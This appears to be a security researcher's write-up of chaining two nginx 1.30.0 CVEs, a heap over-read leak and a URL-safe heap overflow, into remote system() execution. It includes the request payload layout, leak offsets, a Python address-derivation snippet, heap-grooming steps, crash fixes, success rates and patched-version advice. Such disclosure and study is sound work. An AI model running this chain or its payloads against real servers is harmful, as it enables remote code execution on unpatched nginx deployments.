Two bytes to RCE: chaining rift + PoolSlip into an ASLR-independent nginx 1.30.0 exploit
TL;DR
Target: the stock official
nginx:1.30.0Docker image (Debian 13, glibc 2.41, stripped release binary) behind a normal API-gateway config (final/nginx.conf); no allocator tuning.One root cause, two bugs: the rewrite engine’s
is_argsflag is set in one pass and consumed in another. Aimed at asetvariable it’s rift (CVE-2026-42945) — a forward heap overflow that can only write URL-safe bytes; aimed atr->argsit’s PoolSlip (CVE-2026-9256), an$argsheap over-read.The chain: PoolSlip leaks live libc + heap (nothing hardcoded): rift does a 2-byte partial overwrite of a
limit_conncleanup pointer, redirecting it into a sprayedngx_pool_cleanup_t{handler=&system, data=cmd}, on connection teardownngx_destroy_poolwalks the cleanup list tosystem(cmd).Why only 2 bytes: a full 48-bit address is URL-safe ~0.9 % of the time under ASLR; overwriting just the low 2 bytes of an already-valid heap pointer leaves the random high bytes untouched, so the chain is ASLR-independent with nothing hardcoded.
Debian-specific work: the Ubuntu “mmap-below-libc” leak fails (Debian mmaps to the brk cluster), so libc is leaked from a libpcre pointer at
$args[1729]instead; the release binary is stripped so gdb reads structs by raw offset; the write target is a fixpoint (N=9, K=1005) because the rift buffer moves with URI length.Result: remote
system()asuid=101(nginx), ~90 % per fresh worker, no nginx restart.
Summary
This is — as far as I’ve found — the first public chain of two recently-disclosed nginx rewrite-engine bugs into a single ASLR-independent remote system() on the stock official nginx:1.30.0 Docker image (Debian 13, glibc 2.41) running an ordinary API-gateway config. Both bugs are the same is_args two-pass mismatch pointed at two sinks: PoolSlip (CVE-2026-9256, a heap over-read) leaks live libc + heap, and rift (CVE-2026-42945, a heap overflow that can only write URL-safe bytes) then does a 2-byte partial overwrite of a limit_conn cleanup pointer so ngx_destroy_pool‘s cleanup walk calls system(cmd). Nothing is hardcoded, the worker is never restarted, and it lands ~90 % per fresh worker.
Both CVEs are already patched and under active exploitation in the wild — this chain just realises the worst case (full ASLR-bypass RCE on a stock image) that the PoolSlip advisory only hints at:
CVE-2026-42945 “rift” — vulnerable
0.6.27–1.30.0; fixed in1.30.1/1.31.0.CVE-2026-9256 “PoolSlip” — vulnerable
0.1.17–1.30.1(and1.31.0); fixed in1.30.2/1.31.1.
Upgrade to nginx 1.30.2 (stable) or 1.31.1 (mainline); note
1.30.1fixes rift but is still vulnerable to PoolSlip, so only1.30.2closes both. NGINX Plus: R36 P5 / R32 P7 / R37.0.1.1.
We chain two recent nginx bugs:
CVE-2026-42945 “rift”: an
is_argslength/value heap overflow. This is our write primitive.CVE-2026-9256 “PoolSlip”: an args-inflation heap over-read. This is our info-leak primitive.
Everything below is reproduced live with gdb against the stock release binary; the offsets and addresses are from real runs. (Because the release image is stripped, the gdb probes read struct fields by raw byte offset so the layout is identical to the source build, only the symbols are gone.)
PoC + config: Nginx-chain-Rift-Poolslip
1. The two bugs (root cause)
Both bugs come from the same nginx quirk: the rewrite-module script engine has an is_args flag, and that flag is computed in one pass but consumed in another.
When nginx compiles rewrite/set value scripts it runs them twice:
a length pass on a fresh, local engine, to size the destination buffer, and
a copy pass on the shared request engine, to actually write the bytes.
ngx_escape_uri() is only invoked when e->is_args == 1. If the two passes disagree on is_args, the length pass under-counts (no escaping) while the copy pass over-writes (escaping + → %2B, etc.). That mismatch is the root of both bugs.
1.1 Rift: is_args heap overflow (the write primitive)
location ~ ^/api/v1/(.*)$ {
rewrite ^/api/v1/(.*)$ /internal/$1?api_version=2; # replacement has '?'
set $resource $1; # copies the capture
}The ? in the rewrite replacement makes the engine run ngx_http_script_start_args_code, which sets e->is_args = 1 on the shared engine and it is never cleared. The following set $resource $1 then:
length pass (fresh engine,
is_args = 0): counts$1with no escape budget;copy pass (shared engine,
is_args = 1): re-escapes$1withngx_escape_uri.
So if $1 contains N bytes that need escaping, the copy writes 2·N more bytes than were allocated → a forward heap overflow out of the script buffer.
Two important properties of the write primitive:
It writes only URL-safe bytes verbatim. Any byte that needs escaping becomes
%XX(3 bytes), which shifts everything after it, so to land a precise value at a precise offset, every byte must be URL-safe (≈ 79 of 256 byte values).The overflow length is
2 × (#escape-needing input bytes); padding (A) bytes don’t inflate, soNAs +K+s writesN + 3Kbytes and overflows by2K.
1.2 PoolSlip: args-inflation over-read (the leak primitive)
location ~ ^/search/(.*)$ { rewrite ^/search/((.*))$ /lookup?$1$2 last; }Same is_args mismatch, but applied to r->args instead of a set variable. The copy pass overflows the args buffer and r->args.len is set from the post-overflow engine position, i.e. past the allocation. Anything that later reflects $args then reads adjacent heap memory. In this config the reflection is the degraded search page:
location /lookup { proxy_pass http://search_index; proxy_intercept_errors on; error_page 502 504 = @search_unavailable; }
location @search_unavailable { return 503 "Search temporarily unavailable. Query: $args\n"; }(search_index is an offline Elasticsearch sidecar, so every /search hit degrades to that page, which is exactly where the over-read surfaces. The reflection has to be nginx-level and binary-safe: heap pointers contain \x00/control bytes, so proxying $args to a real backend just 502s the upstream request — verified.)
2. Why chain them (and not just use rift)
rift on its own is a clean write primitive, but it has no info-leak, and the public PoC (DepthFirstDisclosures/Nginx-Rift) simply hardcodes LIBC_BASE and HEAP_BASE:
HEAP_BASE = 0x555555659000
LIBC_BASE = 0x7ffff77ba000
SYSTEM_ADDR = LIBC_BASE + 0x50d70
That only works with ASLR disabled (or against a known image). I didn’t want a “works on my machine” exploit, so I bolted PoolSlip on as the leak primitive: it discloses live libc and heap pointers, I derive the bases from them, and the rift write targets are then computed at runtime. The result is ASLR-independent with nothing hardcoded.
The two bugs compose cleanly because they’re the same engine quirk pointed at two different sinks (a set variable vs r->args), so one config naturally exposes both.
3. The exploitation idea
3.1 The problem: a full heap write is almost never URL-safe
The obvious rift exploit is the PoC’s: spray a fake ngx_pool_cleanup_t{handler=system, data=cmd} onto the heap and overwrite a pool’s cleanup pointer with the spray address, so that ngx_destroy_pool calls cleanup walk and finally calls system(cmd).
But the cleanup pointer is a full 48-bit heap address, and the rift can only write URL-safe bytes. Under ASLR the high bytes of a heap address are random, so a full address is almost never composed entirely of writable bytes.
Proof. The set of byte values the rift can place at a target is exactly nginx’s URI-escape bitmap (bytes that are not percent-encoded). Reproducing it from the source bitmap gives 79 of 256 values: P(one random byte is URL-safe) = 79/256 ≈ 0.31:
|SAFE| = 79 / 256 P(one random byte URL-safe) = 0.3086
safe bytes: 21 24 27 28 29 2a 2c 2d 2e 2f 30..3a 3d 40..5b 5d 5f 61..7a 7e (i.e. mostly
alnum + a few punctuation; NOT 0x00, 0x5c '\', 0x5e '^', 0x60 '`', high bytes, …)A full-address overwrite requires all 6 low bytes of the target address to be in that set. I sampled 20 real ASLR heap bases by restarting the worker, measured the actual entropy, and Monte-Carlo’d the full-address target over it (using that SAFE set and 30 candidate spray landings):
real bases sampled: 20 entropy mask = 0x3ffffffff000 (34 varying bits)
high byte5 observed: 0x58..0x65
REAL bases: mean URL-safe candidates / base = 0.000 ; bases with >=1 = 0/20 not one worked
MONTE-CARLO over measured ASLR entropy (2,000,000 samples):
single fixed target writable ≈ 0.91 %
P(>=1 writable of all 30 spray landings) ≈ 3.13 % absolute per-run ceiling
So a single chosen cleanup target is writable only ≈0.9 % of the time, and even trying every spray landing the per-run ceiling is ≈3 % and in 20 real restarts, 0 had a usable landing. End-to-end, a full-address overwrite fires reliably ASLR-off but only ~1 % under real ASLR, matching the single-target bound (further eroded by spray-landing precision). The high bytes simply can’t be controlled, so the approach is a dead end under ASLR.
3.2 The fix: a 2-byte partial overwrite of an existing heap pointer
limit_conn (limit_conn perip 100;) registers an ngx_http_limit_conn_cleanup on every request’s r->pool. That means r->pool->cleanup is already a valid heap pointer pointing into the pool’s own memory:
So instead of writing a full address, we overwrite only the low 2 bytes of that pointer with a URL-safe value YYYY. The ASLR-random high bytes ride along untouched so the redirected pointer stays in the same 64 KB block, no random byte is ever written => ASLR-independent.
We point it at a sprayed fake ngx_pool_cleanup_t{handler=system, data=cmd_ptr, next=0}.
3.3 Putting the records where the pointer can reach them
The redirect can only move cleanup within its own 64 KB block (we control the low 16 bits). So the block must be full of fake-struct records at URL-safe offsets. The trick: make the victim itself a held POST /api/upload carrying a tiled body of {system, cmd_ptr, 0} records (24-byte stride). Its body lives in its own request pool, so the cleanup pointer’s block is densely full of records. A handful of early sprays and post-victim sprays tile the neighbouring blocks too, so for any ASLR base several record runs straddle the pointer’s block. pick_yyyy() scans the measured runs and picks an in-block, URL-safe record.
cmd_ptr points at a “command holder” spray (a normal POST /api/upload whose body is the shell command), at a leak-derived address.
3.4 The full flow (attempt() in exp_official.py)
0. warm-up: ~40 × GET /search/+×300 (churn the heap so the off-1729 libc-cluster ptr settles)
1. leak: GET /search/<+ ×350> → derive libc_base, heap_base, &system
2. sprays: 8 × held POST /api/upload (#0 = command holder, rest = tiled records)
3. groom: open 16 bare TCP conns, then close them just before the victim connects
(frees small conn-pool holes so the victim's conn pool is reused there, and the
victim's *request* pool lands right after the rift request's block)
4. rift a: GET /api/v1/<A×9 + (+)×1005 + YYYY> (held by the /internal proxy → backend latency)
5. victim v: held POST /api/upload with the tiled body (gets the limit_conn cleanup)
6. + 24 post-victim held sprays (more record runs above the cleanup pointer)
7. fire: finish a's request → the `set` overflows → writes YYYY at v->pool->cleanup[+0x40..+0x41]
8. close v → ngx_http_free_request → ngx_destroy_pool(v->pool) → cleanup walk → system(cmd)a stays alive (parked on the upstream) so its own pool isn’t freed before v fires; the destroy order matters, see §5.5.
4. The Info Leak
The release binary is stripped, so we read the script engine by raw offset (e = $rdi at function entry; e->is_args is bit 3 of the dword at +0x40, e->buf.data ($buf) is at +0x20). The PoolSlip request runs the copy pass with is_args already set, so it over-writes past the args buffer and r->args.len is taken from the post-overflow engine position. The degraded /search page then reflects $args past the buffer into adjacent heap; for a ~700-byte query the 503 body comes back as 2100 bytes of raw heap.
After a short warm-up (~40 /search hits churn the heap), two pointers settle at stable offsets in that over-read. A heap pointer sits at $args[1489] (x/gx $buf+0x5d8 in gdb), giving the heap base once cross-checked against vmmap:
For libc, the Ubuntu trick (a big POST body that glibc mmaps just below libc) fails on Debian because large allocations land in the low brk/PIE cluster, not below libc. Instead, a pointer into the libpcre/regex region, which ld maps at a fixed 0xb0ad08 below libc, settles at $args[1729] (x/gx $buf+0x6c8), again confirmed against vmmap:
So libc_base = $args[1729] + 0xb0ad08 and heap_base = $args[1489] − 0x28610, both confirmed against the live mappings. Nothing is hardcoded; request_pool_size is the nginx default (no allocator tuning in the config).
exp_official.py:
WARMUP = 40 # ~40x GET /search/+×300 first, so the off-1729 libc-cluster pointer settles
def derive(args):
libc = (int.from_bytes(args[1729:1737], "little") + 0xb0ad08) & ~0xfff # & ~0xfff: page-align
heap = int.from_bytes(args[1489:1497], "little") - 0x28610
return libc, heap
# system = libc + 0x53110Live run (the addresses differ every run so they’re all derived from the leak, nothing hardcoded):
[*] heap_base=0x5a043fe2f000
[*] libc=0x7d6b8228d000
[*] system=0x7d6b822e0110 (system = libc + 0x53110)
5. The Write primitive
5.1 The victim’s cleanup pointer (what we corrupt)
The victim is a held POST /api/upload. limit_conn has put a cleanup on its r->pool, so pool->cleanup (at pool+0x40) is already a live heap pointer into the pool’s own block.
The two structures involved (from src/core/ngx_palloc.h), with byte offsets so the raw dump below lines up:
typedef struct { // offset in ngx_pool_t
u_char *last; // d.last +0x00
u_char *end; // d.end +0x08
ngx_pool_t *next; // d.next +0x10
ngx_uint_t failed; // d.failed +0x18
} ngx_pool_data_t;
struct ngx_pool_s { // == ngx_pool_t
ngx_pool_data_t d; // +0x00
size_t max; // +0x20
ngx_pool_t *current; // +0x28
ngx_chain_t *chain; // +0x30
ngx_pool_large_t *large; // +0x38
ngx_pool_cleanup_t *cleanup; // <-- what we corrupt +0x40
ngx_log_t *log; // +0x48
};
struct ngx_pool_cleanup_s { // == ngx_pool_cleanup_t (24 bytes)
ngx_pool_cleanup_pt handler; // called as handler(data) +0x00
void *data; // +0x08
ngx_pool_cleanup_t *next; // +0x10
};
So pool->cleanup (above) is a heap address whose high bytes are ASLR-random but whose enclosing 64 KB block we know from the leak. We overwrite only the low 2 bytes of the pointer at pool+0x40 so it lands on one of our sprayed records in that same block. The cleanup record’s handler is a nginx-.text address (the stripped ngx_http_limit_conn_cleanup) and its data sits at cleanup+0x18. (The chain has a single entry here, next = NULL; we don’t care which handler it legitimately holds, the partial overwrite replaces the head pointer with the address of our fake record.)
5.2 Landing the write on pool->cleanup
gdb-measured, deterministic geometry on the Debian heap (offsets from the leaked bases; the groom keeps them stable). Note S (the rift’s set buffer) rises as the rift URI grows, so the target offset is a fixpoint, N+3K must equal the gap it itself produces:
victim cleanup field = S + 0xbd0 → N + 3K = 0xbd0 → N=9, K=1005 (fixpoint; URI stays <2k)
cleanup pointer value = heap_base + 0x1001f8 → block = (heap_base+0x1001f8) & ~0xffff
command holder spray = heap_base + 0x28680 → cmd_ptr
record runs (167 recs, 24-byte stride) straddle the cleanup ptr: heap_base + {0xe4ef0 … 0x157470}
groom: 16 empty connections (vs 4 on Ubuntu) evict a wedged conn pool so v lands close to SS is e->buf.data of the rift request (caught the same way as §4 but driven by /api/v1/…). The payload A×9 + (+)×1005 + YYYY lands the last 2 bytes (YYYY) exactly on pool->cleanup[+0x40..+0x41]. pick_yyyy(heap_base) chooses a YYYY whose absolute address block|YYYY is an actual record and is URL-safe.
5.3 The corrupted cleanup
When the rift fires, the last 2 bytes of the victim’s pool->cleanup are overwritten with the URL-safe YYYY while the ASLR-random high bytes ride along untouched. So pool->cleanup now points at one of our sprayed {handler=&system, data=cmd_ptr, next=0} records inside the same 64 KB block, &system is the leaked libc_base + 0x53110, and data is the command-holder spray. Only the low 2 bytes were ever written by us; the rest is the victim’s own heap base.
The screenshot in §5.4 captures this live. The trick: at the system breakpoint, ngx_destroy_pool has left pool in $rbp and the cleanup record c in $rbx (both callee-saved, so they survive into system). So in that one stop:
x/3gx $rbxshows the redirected record —{ &system, cmd_ptr, 0 };x/gx $rbp+0x40shows the victim’spool->cleanuppointing right at it;$rbpitself shows the pool header smashed with the escaped%2Boverflow (the bytes just before the cleanup field);x/s $rdiis the command (c->data).
5.4 The cleanup walk calls system
break *system, then fire the chain. The stock release binary is stripped (no line numbers, and a couple of static frames show as ??), but the call chain is unmistakable, system is reached straight from ngx_destroy_pool‘s cleanup walk. The same stop also shows the §5.3 corrupted cleanup ($rbx = the {&system, cmd, 0} record, $rbp+0x40 = pool->cleanup):
Result: the worker executed our command as its own user:
$ docker exec nginx-rift-official cat /tmp/rce_proof
uid=101(nginx) gid=101(nginx) groups=101(nginx)
5.5 The obstacle cascade (what gdb taught me, and the fixes)
Getting from “the pointer is corrupted” to “system fires cleanly” took fighting five crashes; each is worth recording because the fix is baked into the exploit/config:
SIGSEGVinngx_http_request_handler: the overflow smashed the victim’s connection pool (which sat between the rift block and the victim’s request pool), breaking the event struct on the close event. Fix: the empty-conn groom evicts that conn pool so the request pool lands right after the rift block, nothing in between.SIGSEGVinngx_palloc_small(fromngx_http_log_requesttongx_pnalloc): finalizing the victim logs the request, allocating from its smashedr->poolheader before the cleanup walk. Fix:access_log off;on/api/upload.SIGABRTinfree()duringngx_destroy_poolof the rift request’s pool: reaching a far victim forced a 2nd pool block / smashed a chunk header. Fix: keepaparked on the upstream (its pool frees after the victim fires) + a minimal overflow.pick_yyyyfinds nothing: on some bases no record run lands in the cleanup block. Fix: a tiled victim body + early/post-victim sprays, so record runs straddle the block for any base.SIGSEGVinfree()duringngx_destroy_pool(Debian-specific): if the rift URI >= 2 k it spills into a large header buffer, which movesS, so the target overshoots the victim’s cleanup field and the smashed pool crashes infree()instead of firing. Fix: the fixpointN=9, K=1005keeps the URI < 2 k; sinceSitself rises with URI length,N+3Kmust equal the gap it produces (solved by iterating).
The access_log off, the parked-upstream ordering, and the URI-length fixpoint are the non-obvious ones, each surfaced only because the crash backtrace pointed straight at the offending frame.
5.6 Dead-ends and pivots (ideas that didn’t survive contact)
The crashes above are the runtime fights. These are the bigger design dead-ends; approaches that seemed right and had to be abandoned. They’re the most useful part of the writeup, because each pivot is what actually made the chain work on a stock Debian release:
Write the full cleanup pointer (the public-PoC approach): rift emits only URL-safe bytes, so a full 48-bit heap address is writable only ~0.9 % of the time under ASLR (measured, §3.1). → The 2-byte partial overwrite of an existing
limit_conncleanup pointer (§3.2).Use rift alone: it has no info-leak; the public PoC just hardcodes
LIBC_BASE/HEAP_BASE(ASLR-off only). → Chain PoolSlip as the leak primitive (§2).Leak libc via the “big POST body mmaps just below libc” sled (worked on Ubuntu): on Debian glibc 2.41 large allocations land in the low brk/PIE cluster, not below libc, so no libc-cluster pointer ever appears that way. → The libpcre/regex pointer that
ldmaps at a fixed0xb0ad08below libc, reflected at$args[1729].Leak libc via a freed unsorted-bin chunk’s
main_arenafd/bk: the over-read window held nomain_arenapointer; freed pool blocks got reused, and freeing large chunks raised glibc’s dynamic mmap threshold (pushing bodies to brk). → The same libpcre pointer, deterministic, no grooming needed.Leak straight off
/searchwith no warm-up: the off-1729 pointer isn’t present on a cold heap. → ~40/searchwarm-up hits churn the heap so it settles there (verified 5/5 across bases).Over-read further (
k≈500) to reach a libc pointer:r->args.lenthen runs past the mapped pool so Empty reflection / workerSIGSEGV. → Keepk=350(~2100 B, stays mapped); the off-1729 pointer is already in range.Read engine/request structs by name in gdb (
p e->is_args,r->uri): the release image is stripped, so field-by-name throws and the probes silently captured nothing. → raw byte offsets +$rdiat*funcentry; identify the victim byread_bodycall-order, never byr->uri(a late field whose offset differs from the source build).Calibrate
TARGET_OFFwith a short rift URI: theset-bufferSrises with URI length, so the short-URI gap (0x18f9/0x10e9) was wrong for the real long URI and the write overshot the cleanup field. → Solve the fixpointN+3K == gap(S(K))→N=9, K=1005(URI stays < 2 k).4-empty groom (the Ubuntu value): on Debian it still left a conn pool wedged between
aandv, ifTARGET_OFF=0x18f9, forcing the URI >= 2 k (regime flip, no fixpoint). → 16 empties (Debian conn-pool sizing) evict it sovlands close toS→TARGET_OFF=0xbd0.Auto-retry loop + phone-home callback to force “100 %”: every fire eventually crashes the worker post-
system(), so phantomlimit_conncounts cap same-IP retries; it also diverged from the simple one-shot PoC flow. → one-shot like the lab PoC (leak once, fire once, check the box); ~90 %/fire, re-run on a miss; fresh source IPs make retries independent.Tight groom sleeps: the connection-ordering race wasn’t settled → ~60 %. → let each phase settle (longer inter-step sleeps) → ~90 %; more than that doesn’t help.
6. Reliability & notes
~90 % per fresh worker (11/12 single-shot) on the stock release image. The residual ~10 % is groom-timing variance (the heap race occasionally places the victim a slot off make the 2-byte write misses
pool->cleanup→ SIGSEGV). The jump from an initial ~60 % was simply letting each groom phase settle (longer inter-step sleeps); more sleep beyond that doesn’t help.Per-IP ceiling, not per-shot. Every attempt eventually crashes the worker,
system()fires first during the cleanup walk, then the smashed pool’sfree()SIGSEGVs. The crash leaves phantomlimit_conn(perip) counts (the dead connections’ cleanups never run), so after ~2 attempts the source IP hits the perip-100 cap and further connections are refused. Same-IP retries therefore don’t compound; a networked attacker retrying from fresh source IPs gets independent ~90 % shots to effectively 100 %.Nothing hardcoded: libc, heap and every write target come from the live PoolSlip leak. The release build is stripped, so the only build-specific “knowledge” used is struct offsets (identical to the source build) plus the glibc-2.41
systemoffset.No nginx restart: the master respawns the crashed worker; the chain can run again immediately.
Config credibility: no allocator tuning at all; the only non-default bits are ordinary (
limit_conn, a v1→v2 migration rewrite, an upload proxy, a custom degraded search page). The bug lives in normal-lookingrewrite/setdirectives.







